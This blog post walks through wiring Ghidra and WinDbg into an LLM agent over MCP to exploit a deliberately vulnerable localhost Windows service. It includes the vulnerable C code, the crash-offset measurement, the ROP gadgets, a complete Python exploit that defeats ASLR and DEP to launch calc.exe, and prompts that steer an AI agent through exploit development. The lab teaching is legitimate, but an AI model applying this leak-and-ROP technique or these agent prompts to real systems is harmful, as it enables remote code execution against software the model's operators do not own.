Nick Zero

Automating Exploit Discovery with MCP: Ghidra, WinDbg and a Very Broken TCP Server

We wire Ghidra and WinDbg into an LLM over MCP, point it at a stripped binary with ASLR and DEP switched on, and let it work its way to a pop calc.

Exploit development is mostly alt-tabbing. You find an address in Ghidra, paste it into WinDbg, read a register, go back to Ghidra to work out what that register meant, and somewhere in the middle of all that you forget whether the offset was 104 or 140. It’s an enormous amount of very precise clerical work, and humans are famously excellent at that.

Reverse engineering and exploit dev are tool-driven activities. We live in a disassembler and a debugger, and most of the job is asking those two tools very specific questions. What calls memcpy? What’s at this address? What’s in RCX when we crash? How far is it from the buffer to the saved return address?

The Model Context Protocol lets us hand those tools to an LLM as functions it can call. The agent asks decompile_function, reads the answer, decides what to ask next, and calls read_registers. We keep the judgement; the question-and-answer grind gets automated.

Both MCP servers are on GitHub, GhidraMCP and mcp-debugserver, and I’ve uploaded the vulnerable server and the exploit here, in case you fancy playing along at home.

Everything below runs against a program I wrote to be broken, on a box I own, bound to 127.0.0.1. Don’t point any of it at something that isn’t yours.

Wiring Up the Two Servers #

We need two MCP servers. GhidraMCP hands the agent everything Ghidra knows statically, and mcp-debugserver wraps WinDbg, cdb.exe and dbgsrv.exe, so it can run the thing and read registers. Only the debug server is mine, so if it breaks, feel free to shout at me.

Both go in the client config:

{
  "mcpServers": {
    "ghidra": {
      "type": "stdio",
      "command": "python",
      "args": ["C:\\Tools\\GhidraMCP\\bridge_mcp_ghidra.py"]
    },
    "mcp-debugserver": {
      "type": "stdio",
      "command": "python",
      "args": ["C:\\Tools\\mcp-debugserver\\src\\mcp_debugserver\\server.py"],
      "env": { "arch": "x64" }
    }
  }
}

GhidraMCP needs Ghidra actually running with the target loaded and the plugin enabled, so its HTTP server is live on http://127.0.0.1:8080/. The Python bridge just proxies MCP calls to it.

The Target: A Service Built to Lose #

Our victim is vuln_server.exe, a tiny x64 Windows service. It speaks a length-prefixed binary protocol rather than anything line-based, because we need a copy that carries NUL bytes without stopping at the first one. Every address we’re about to write has three of them, which is exactly why the classic strcpy tutorial doesn’t transfer to x64.

+--------+------------------+------------------+
| op (1) | len (4, LE u32)  | payload (len)    |
+--------+------------------+------------------+

op 0x01  INFO  -> banner that leaks a code pointer
op 0x02  ECHO  -> memcpy(local[64], payload, len)   <-- the bug
op 0x03  QUIT

The interesting parts of the C:

/* An unused "administrative helper". Never called on a legitimate path,
   but present in the binary; launches whatever command it's handed in RCX. */
void run_command(const char *cmd) {
    WinExec(cmd, SW_SHOWNORMAL);
}
volatile char g_calc[] = "calc.exe";     /* a string already in the binary, for later */

/* THE VULNERABILITY: len comes off the wire; memcpy trusts it. */
static void handle_echo(SOCKET c, const char *payload, uint32_t len) {
    char local[LOCAL_SIZE /* 64 */];
    memcpy(local, payload, len);          /* <=== stack buffer overflow */
    ...
}

The INFO handler leaks &handle_client, a pointer into the module, which is everything we need to undo ASLR:

_snprintf(banner, sizeof(banner),
          "vuln-echo/1.0 ready; token=0x%016llx\n",
          (unsigned long long)(uintptr_t)&handle_client);

Building It With the Mitigations On #

We’re compiling with ASLR and DEP enabled, the two defences that every “just smash the stack and run shellcode” tutorial quietly turns off before the first screenshot:

x86_64-w64-mingw32-gcc -O2 -fno-stack-protector \
  -Wl,--dynamicbase -Wl,--high-entropy-va -Wl,--nxcompat \
  src/vuln_server.c -o out/vuln_server.exe -lws2_32
strip out/vuln_server.exe

We can confirm it landed in the PE header:

$ objdump -p out/vuln_server.exe | grep -A3 DllCharacteristics
DllCharacteristics  00000160
                        HIGH_ENTROPY_VA     <- 64-bit ASLR
                        DYNAMIC_BASE        <- ASLR
                        NX_COMPAT           <- DEP (also called NX): no-exec stack

We’re leaving the stack canary off, via -fno-stack-protector. Beating a /GS-style cookie remotely needs its own leak primitive and would roughly triple the length of this post, so we’re sticking to the two mitigations everyone means when they say “modern”: ASLR, which an info leak kills, and DEP, which returning into existing code kills.

So the agent faces the real problem: the binary is randomised and the stack is non-executable. Shellcode on the stack is dead before it starts. We need a leak, and we need a ROP chain.

If that’s a new phrase, here’s the whole idea. A gadget is any handful of instructions that’s already in the binary and happens to end in a ret. Line a few of them up on the stack, one address per slot, and each ret walks us along to the next one.

That’s return-oriented programming: a program assembled entirely out of somebody else’s code. We’re not executing anything new, so DEP hasn’t got an opinion about it.

Ghidra: Finding the Bug Without Symbols #

Load the stripped binary, let auto-analysis finish, and let the agent drive. It’s answering three questions here, where attacker data reaches something dangerous, how we leak, and what we can call.

list_imports first:

WinExec   malloc   memcpy   WSAStartup   accept   recv   send   socket

recv, send and accept tell us it’s a network service. memcpy copies bytes from one place to another without checking how many, so that’s worth chasing. WinExec is a way to run a program, assuming we can ever reach it.

The agent walks the callers of recv with get_xrefs_to, finds the per-connection handler, and decompiles it. The binary is stripped, so everything is FUN_* and we’re reading it like a crossword:

void FUN_1400014b0(SOCKET param_1) {          // handle_client
  ...
  iVar2 = recv(param_1,&local_e9,1,0);        // read 1-byte opcode
  if (local_e9 == '\x03') return;             // QUIT
  if (local_e9 != '\x01') {
    if (local_e9 == '\x02') {                 // ECHO
      // read 4-byte little-endian length into local_e8[0]
      recv(param_1, ..., 4 - iVar2, 0);
      if (0x1000 < local_e8[0]) { send "ERR len"; return; }   // cap 4096
      _Memory = malloc(0x1000);
      recv(param_1, _Memory, uVar1, 0);        // read `len` bytes
      FUN_140001440(param_1,_Memory,uVar5);    // <-- hand it to the next function
      ...
    }
  }
  // INFO branch:
  FUN_140002970(local_e8, 0xa0,
                "vuln-echo/1.0 ready; token=0x%016llx\n",
                FUN_1400014b0);                // leaks its OWN address
}

That one function hands us two presents: the leak, where token= prints &FUN_1400014b0, and a pointer to the function our bytes end up in, FUN_140001440. Decompiling that:

void FUN_140001440(SOCKET param_1,void *param_2,uint param_3) {  // handle_echo
  char local_68 [64];
  memcpy(local_68,param_2,(ulonglong)param_3);   // <=== 64-byte buf, attacker len
  ...
}

A 64-byte stack buffer, memcpy’d with a length taken straight off the wire. Textbook, and reachable with op=0x02. The handler caps len at 0x1000 further up, so we have 4096 bytes to play with. We’ll end up using 136 of them.

Now, what can we call, and with what argument? list_strings filtered for calc:

140003000 : "calc.exe"

And disassembling around run_command shows why it’s such a convenient thing to land on:

00000001400016e0 <run_command>:
  1400016e0: mov    edx, 1                      ; uCmdShow = SW_SHOWNORMAL
  1400016e5: jmp    qword ptr [rip+0x6c5c]      ; -> WinExec

run_command is a tail-call into WinExec: it jumps rather than calls, so it never gets a stack frame or a return of its own. It sets EDX=1 and jumps, which passes RCX straight through untouched. So if we can return to run_command with RCX pointing at "calc.exe", we get WinExec("calc.exe", SW_SHOWNORMAL) without executing a single byte of our own code, which makes DEP somebody else’s problem. That missing stack frame turns out to matter later, too.

The plan more or less writes itself. INFO to leak &handle_client, subtract its RVA to recover the image base, and ASLR is done. Overflow handle_echo to take the return address. Then ROP our way to pop rcx, run_command, WinExec, and DEP is done too.

Every RVA we need comes out of Ghidra. An RVA’s just an offset from the start of the module: Ghidra lays the binary out against a nominal base of 0x140000000, so 0x14b0 means “this far into the image, wherever Windows decides to drop it today”.

SymbolRVA (from base 0x140000000)
handle_client (leaked)0x14b0
run_command0x16e0
"calc.exe"0x3000

WinDbg: Proving We Control RIP #

Static analysis says this should be exploitable. The debugger proves it, and hands us the number that’s a nuisance to get statically: the exact distance from the buffer to the saved return address.

The agent launches the target under cdb, tells it to break on the first access violation, and sends 200 bytes of cyclic De Bruijn pattern through ECHO. That’s a string built so that every eight-byte window in it appears exactly once, which makes it a ruler you can read from any point, whichever eight bytes turn up in RIP tell us exactly how far into our input they came from. Then we watch it fall over:

(cdb) sxe av ; g              # break on access violation, run
...
vuln_server+0x14a9:
00007ff7`cfe914a9 c3              ret            <-- the RET in handle_echo

(cdb) kb                       # stack: the qword RET is about to load
RetAddr               : ...
41366441`35644134     : ...  : vuln_server+0x14a9

The return address that ret is about to eat is 0x4136644135644134, or "4Ad5Ad6A", pure pattern. We own RIP. Feeding that qword back through the pattern gives us the offset:

controlled return qword : 0x4136644135644134
offset to saved RIP     : 104 bytes

So 104 bytes of filler, then whatever we’d like to execute.

Which raises the obvious question, because the buffer’s only 64 bytes.

Ghidra had already told us, and we walked straight past it. It called the buffer local_68, and it names a local after how far it sits from the frame base, in hex. 0x68 is 104. The compiler parks other things between our buffer and the saved return address, and we’ve got to cross all of them to reach it. You can work that out on paper if you fancy it, but measure it anyway.

Re-running the leak against the same binary gives back an identical base every time, 0x7ff7cfe90000, which is not what you expect from ASLR. Windows randomises a given image’s base per boot, not per process launch. Rebuild the binary, or reboot, and it moves, a later run came up at 0x7ff771720000, and the exploit popped calc there too without a single address changed, because it never hard-codes anything. That’s the entire point of the leak. It makes the exploit base-independent, which is what you need against a box whose base you can’t see.

Beating ASLR is two lines:

leak = info(sock)                 # parse "token=0x...."
base = leak - 0x14b0              # RVA of handle_client, from Ghidra

One leaked module pointer, minus an RVA we already know, gives us the randomised base. Every other in-module address rebases off that.

DEP is the more interesting half. We can’t execute our payload bytes, so we don’t try, we return into code that’s already there and already executable. We need exactly one gadget to load RCX. The agent finds it by scanning .text, the executable part of the module, and we check the bytes decode the way we think they do:

$ objdump -d --start-address=0x140002870 ...
  140002870: 59    pop rcx
  140002871: c3    ret          # gadget: `pop rcx ; ret`  (RVA 0x2870)

  14000140c: c3    ret          # bare `ret`               (RVA 0x140c)

That bare ret is doing real work. The x64 ABI wants RSP % 16 == 0 at a call boundary, and WinExec ends up in CreateProcess, which uses aligned SSE moves. Because run_command has no frame of its own, whatever alignment we arrive with goes straight through into WinExec. Dropping one spare 8-byte ret into the chain flips RSP back onto a 16-byte boundary. Leave it out and the process dies inside WinExec on a misaligned movaps, which is the real answer to “my ret2code crashes but all my addresses are right”.

Laid over the saved return address, the chain is four links:

[ 104 * 'A' ]                 filler to the saved RIP
[ base + 0x2870 ]  ->  pop rcx ; ret
[ base + 0x3000 ]      rcx = &"calc.exe"
[ base + 0x140c ]  ->  ret            (16-byte realign)
[ base + 0x16e0 ]  ->  run_command  ->  WinExec("calc.exe", SW_SHOWNORMAL)

Which makes the exploit itself pleasantly short:

import struct, vulnlib
p64 = lambda v: struct.pack("<Q", v)

RVA_HANDLE_CLIENT, RVA_POP_RCX, RVA_RET, RVA_CALC, RVA_RUN = \
    0x14b0, 0x2870, 0x140c, 0x3000, 0x16e0
OFFSET = 104

s    = vulnlib.connect()
base = vulnlib.info(s) - RVA_HANDLE_CLIENT           # ASLR defeated

chain  = p64(base + RVA_POP_RCX)     # pop rcx ; ret
chain += p64(base + RVA_CALC)        #   rcx = &"calc.exe"
chain += p64(base + RVA_RET)         # ret  (align)
chain += p64(base + RVA_RUN)         # run_command -> WinExec

vulnlib.echo(s, b"A" * OFFSET + chain)               # DEP defeated

Fired at the live, randomised service:

[+] leaked &handle_client = 0x00007ff7cfe914b0
[+] recovered image base  = 0x00007ff7cfe90000
[+] pop rcx ; ret         = 0x00007ff7cfe92870
[+] &"calc.exe"           = 0x00007ff7cfe93000
[+] run_command           = 0x00007ff7cfe916e0
[+] sending 136-byte ECHO payload (104 filler + 32-byte ROP chain)
[+] payload sent -- calc.exe should now be running

[*] Calculator process (proof):
ProcessName      Id
-----------      --
CalculatorApp 57068

WinExec("calc.exe") fires, Windows opens Calculator, and the server process falls over immediately afterwards because it returns into leftover stack garbage. We don’t care. ASLR and DEP, both beaten, on a modern x64 build.

The Prompts That Drive the Loop #

Everything above is the agent answering questions, so here are the questions. They’re deliberately narrow. Each one maps to a handful of tool calls and asks for something concrete: an address, an offset, a decompilation, rather than “go and find some bugs”. It keeps the agent reading facts out of Ghidra and WinDbg instead of making them up, which is exactly what it’ll do if you let it.

The agent proposes and runs the tool calls; we read each answer before sending the next prompt.

The ground rules go in once, as a system prompt:

You are a reverse-engineering and exploit-development assistant operating in an
isolated lab on a binary I own. You have two toolsets over MCP:
  - ghidra: static analysis (list_imports, decompile_function, get_xrefs_to,
    list_strings, disassemble_function, ...)
  - mcp-debugserver: dynamic analysis via WinDbg/CDB (attach_process,
    set_breakpoint, read_registers, read_memory, get_callstack, disassemble, ...)
Rules:
  - Never invent an address, offset, or byte. Read it from a tool and cite which
    tool call produced it.
  - Work in small, verifiable steps. After each step state the single concrete
    fact you established and the next question it raises.
  - Prefer the simplest technique the mitigations allow; justify it from the
    binary's actual protections.

Mapping the Attack Surface #

Import out/vuln_server.exe into Ghidra and run auto-analysis. Then list every
imported function and group them: networking (recv/send/accept/socket),
memory copy (memcpy/memmove/strcpy), and process execution
(WinExec/CreateProcess/system). From that alone, tell me what this program is.
Find every function that calls recv(). Decompile each one and reconstruct the
wire protocol: opcodes, how the length field is read, and where the received
bytes flow next. Draw the path from recv() to any copy or exec sink.
List all defined strings and flag anything that looks like a command, a path,
a format string, or a filename. Give me the address of each interesting hit.

Finding and Proving the Bug #

Decompile the function that receives the ECHO payload. For the memcpy in it,
tell me: the destination buffer's size, where the length argument comes from,
and whether any bounds check exists. Is the length attacker-controlled?

Asking it to read the mitigations before picking a technique matters more than it looks. It’s what stops the agent cheerfully writing you a stack-shellcode exploit against a binary with NX set:

Check this binary's mitigations: is DYNAMIC_BASE set? NX_COMPAT? any stack
cookie? Based on the answer, tell me which exploitation strategy is viable —
stack shellcode, return-to-existing-code, or full ROP — and why.
Launch out/vuln_server.exe under the debugger and set it to break on the first
access violation. I'll send a 200-byte cyclic (De Bruijn) pattern to ECHO.
When it faults, show me rip, rsp and the callstack, then compute the exact
offset from the start of my input to the saved return address.

Then make it prove the offset:

Prove we own the instruction pointer: build <offset> filler bytes + the marker
0x4242424242424242, send it, and confirm @rip == 0x4242424242424242 at the fault.
I need to defeat ASLR. Does any protocol command return a pointer? Decompile the
INFO handler, tell me exactly which address it leaks, and which function's RVA I
subtract from it to recover the image base.

Building the Chain #

Scan .text for a `pop rcx ; ret` gadget and a standalone `ret`. Give me the RVA
of each and disassemble those exact addresses to confirm the bytes decode as
expected.
Find code I can return into that will run a command for me. Disassemble
run_command: which register holds the command-line argument, and what API does
it ultimately call? What does that imply I need to set up before returning there?
Assemble a ROP chain that runs run_command("calc.exe"):
  pop rcx -> &"calc.exe"; a ret to fix 16-byte stack alignment; then run_command.
Rebase every address off the leaked image base. Emit it as Python struct.pack
lines, prefixed by <offset> filler bytes.
Set a breakpoint on run_command and fire the exploit. When it hits, show rcx and
`da @rcx` to confirm it points at "calc.exe", and confirm rsp is 16-byte aligned.
Then let it run and confirm WinExec executes.
Run the complete exploit against the live, ASLR-randomized server and confirm
calc.exe / CalculatorApp is running afterward. It must not hard-code any address.

Reproducing This #

# 1. build (mitigations on)
bash build.sh

# 2. one-shot demo: launch + exploit + prove calc
bash run_demo.sh

The repo is laid out like this:

src/vuln_server.c          the vulnerable service
build.sh                   mitigation flags (ASLR+DEP on, canary off)
exploit/vulnlib.py         protocol + cyclic-pattern helpers
exploit/trigger_crash.py   crash it with a cyclic pattern, find the offset
exploit/exploit.py         leak -> ROP -> calc
ghidra/analyze*.py         headless scripts mirroring the GhidraMCP queries
dbg/*.cdb                  the cdb scripts mcp-debugserver drives
mcp-config.example.json    wire both servers into your MCP client

So What Did the Agent Actually Do? #

The agent didn’t invent the technique, we handed it “leak, then return into existing code, because DEP”, and the target was seeded with a conveniently unused run_command and a leak that prints a module pointer at you. On something real you’d spend far longer hunting a leak primitive and building a much longer chain.

It read the addresses out of Ghidra. It didn’t guess the offset, it measured it with a cyclic pattern and a register read. That’s the half of exploit dev that’s pure address arithmetic and clerical work, and it’s also most of the wall-clock time. Having the disassembler and the debugger as first-class callable tools is what makes that loop work at all, and that’s really all MCP is doing here.

And that’s it. In a future post I’ll put the two mitigations back that we left off, stack canaries and Control Flow Guard, which is what a real Windows target throws at you. The canary turns “smash the return address” into “leak or dodge the cookie first”, and CFG turns “return into run_command” into “return only where the compiler said you may”.

Happy hacking!